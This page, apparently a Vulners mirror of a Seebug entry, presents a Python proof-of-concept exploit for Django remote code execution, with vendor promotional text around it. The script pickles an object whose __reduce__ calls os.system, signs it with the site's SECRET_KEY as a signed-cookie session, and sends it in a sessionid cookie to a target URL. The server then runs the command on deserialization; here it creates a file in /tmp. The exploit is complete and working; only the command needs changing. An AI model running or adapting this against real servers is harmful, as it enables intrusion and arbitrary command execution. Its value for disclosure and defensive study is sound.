Lucene search
K

Django任意代码执行

🗓️ 08 Sep 2015 00:00:00Reported by flsfType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Django arbitrary code execution using session handling with SECRET_KEY exposure

Code

                                                #!/usr/bin/env python
# coding: utf-8
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://*.*.*.*:*/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

'''
    通过序列化Run类,实现创建一个文件的操作
    在反序列化的时候执行这个操作。
    执行代码完成可看到在/tmp目录创建xxlegend.log文件,
    同时web报500错误。
'''
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation